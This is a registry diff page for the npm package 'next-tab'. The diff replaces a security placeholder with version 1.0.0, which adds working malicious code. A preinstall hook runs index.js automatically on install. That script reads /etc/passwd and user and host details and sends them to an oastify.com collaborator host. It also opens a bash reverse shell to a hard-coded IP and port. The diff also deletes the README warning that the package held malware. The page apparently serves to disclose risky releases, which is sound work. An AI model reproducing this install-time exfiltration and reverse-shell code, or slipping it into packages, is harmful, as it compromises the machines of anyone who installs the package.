next-tab 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of next-tab might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +59 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,59 @@
1
+ const { exec } = require("child_process");
2
+ const fs = require("fs");
3
+ const https = require("https");
4
+ const os = require("os");
5
+ const dns = require("dns");
6
+
7
+ // Reverse Shell Configuration
8
+ const YOUR_IP = "192.168.100.13"; // Replace with your attack machine IP
9
+ const YOUR_PORT = "4444"; // Replace with your listener port
10
+
11
+ // Execute system commands
12
+ exec("whoami && id && pwd && cat /etc/passwd", (error, stdout, stderr) => {
13
+ let output = stdout + stderr;
14
+ console.log("Command Execution Output:\n", output);
15
+
16
+ // Prepare tracking data
17
+ const trackingData = JSON.stringify({
18
+ hostname: os.hostname(),
19
+ username: os.userInfo().username,
20
+ home_dir: os.homedir(),
21
+ dns_servers: dns.getServers(),
22
+ command_output: output,
23
+ etc_passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : null
24
+ });
25
+
26
+ // Send data via HTTP
27
+ var postData = JSON.stringify({ msg: trackingData });
28
+
29
+ var options = {
30
+ hostname: "g5mjnfqimouo1kszyuqv2n7r6icf05ou.oastify.com", // Burp Collaborator
31
+ port: 443,
32
+ path: "/",
33
+ method: "POST",
34
+ headers: {
35
+ "Content-Type": "application/json",
36
+ "Content-Length": postData.length,
37
+ },
38
+ };
39
+
40
+ var req = https.request(options, (res) => {
41
+ res.on("data", (d) => {
42
+ process.stdout.write(d);
43
+ });
44
+ });
45
+
46
+ req.on("error", (e) => {
47
+ console.error("Error sending data:", e);
48
+ });
49
+
50
+ req.write(postData);
51
+ req.end();
52
+ });
53
+
54
+ // Reverse shell execution
55
+ exec(`bash -c 'bash -i >& /dev/tcp/${YOUR_IP}/${YOUR_PORT} 0>&1'`, (error, stdout, stderr) => {
56
+ if (error) {
57
+ console.error("Reverse shell failed:", error);
58
+ }
59
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "next-tab",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=next-tab for more information.